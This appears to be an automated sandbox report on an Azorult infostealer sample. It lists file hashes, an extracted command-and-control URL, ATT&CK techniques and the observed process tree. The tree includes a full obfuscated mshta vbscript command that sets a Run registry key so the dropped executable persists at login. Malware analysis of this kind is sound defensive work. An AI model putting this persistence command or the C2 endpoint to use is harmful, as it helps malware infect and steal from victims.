azorult | 3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c

General

Target

3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe
Size

836KB
MD5

bab64cf036bc9fd6cc8af20bda3f12e3
SHA1

82d47ceefe73b819b0c3dc50460086c090846241
SHA256

3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c
SHA512

ce2f52c4f48c13ac6085446f2089d1668a2c8db136a7b821c6de20791e5f09b7a02db06c2f5333cd365e7235219f4a3edf5f4993a8d56ee25a8a18bd460fd846

Score

10^/10

azorult infostealer persistence trojan

Malware Config

Extracted

Family

azorult

C2

http://37.72.175.157:8080/chi/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Executes dropped EXE 1 IoCs

Processes:

COPENS.exe

pid process

4568 COPENS.exe

pid	process
4568	COPENS.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Udskamningens2 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\COPENS.exe"	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exeCOPENS.exe

pid process

1488 3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe
4568 COPENS.exe

pid	process
1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe
4568	COPENS.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe

description	pid	process	target process
PID 1488 wrote to memory of 4564	1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe	mshta.exe
PID 1488 wrote to memory of 4564	1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe	mshta.exe
PID 1488 wrote to memory of 4564	1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe	mshta.exe
PID 1488 wrote to memory of 4568	1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe	COPENS.exe
PID 1488 wrote to memory of 4568	1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe	COPENS.exe
PID 1488 wrote to memory of 4568	1488	3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe	COPENS.exe

C:\Users\Admin\AppData\Local\Temp\3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe
"C:\Users\Admin\AppData\Local\Temp\3ccae8f9aec35c295f38fc346da2eddedaa3d21ee5dbeb6c5ebd357700e2e72c.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1488

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Udskamningens2"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\COPENS.exe"",""REG_SZ"" : window.close")
2⤵
- Adds Run key to start application
PID:4564

C:\Users\Admin\AppData\Local\Temp\COPENS.exe
"C:\Users\Admin\AppData\Local\Temp\COPENS.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4568

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\COPENS.exe
Filesize
836KB

MD5
3c98a0d1f58b70aa683bea99b3f92811

SHA1
bdcae100842c0441de4c8f2ecb5b98ac45a2d139

SHA256
6cf67dff757f624106f5355699b1f0f994c02d26f0987ac93fad00ccbab77f2a

SHA512
334bf7938e248ce1dc6a1340981a07d1f9367375994748cdf2366e0c4afff3be90a60ec71dac82160d3550c4a0d26a2e1515f3b7d33b105aee84d0efbf3d15d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\COPENS.exe
Filesize
836KB

MD5
3c98a0d1f58b70aa683bea99b3f92811

SHA1
bdcae100842c0441de4c8f2ecb5b98ac45a2d139

SHA256
6cf67dff757f624106f5355699b1f0f994c02d26f0987ac93fad00ccbab77f2a

SHA512
334bf7938e248ce1dc6a1340981a07d1f9367375994748cdf2366e0c4afff3be90a60ec71dac82160d3550c4a0d26a2e1515f3b7d33b105aee84d0efbf3d15d9

Download Submit
memory/1488-140-0x0000000077AD0000-0x0000000077C73000-memory.dmp

Filesize
1.6MB

Download
memory/1488-133-0x0000000077AD0000-0x0000000077C73000-memory.dmp

Filesize
1.6MB

Download
memory/1488-132-0x00007FFD01B10000-0x00007FFD01D05000-memory.dmp

Filesize
2.0MB

Download
memory/1488-138-0x00007FFD01B10000-0x00007FFD01D05000-memory.dmp

Filesize
2.0MB

Download
memory/4564-134-0x0000000000000000-mapping.dmp

Download
memory/4568-135-0x0000000000000000-mapping.dmp

Download
memory/4568-143-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4568-148-0x00007FFD01B10000-0x00007FFD01D05000-memory.dmp

Filesize
2.0MB

Download
memory/4568-149-0x0000000077AD0000-0x0000000077C73000-memory.dmp

Filesize
1.6MB

Download
memory/4568-150-0x00007FFD01B10000-0x00007FFD01D05000-memory.dmp

Filesize
2.0MB

Download
memory/4568-151-0x0000000077AD0000-0x0000000077C73000-memory.dmp

Filesize
1.6MB

Download
memory/4568-152-0x0000000077AD0000-0x0000000077C73000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads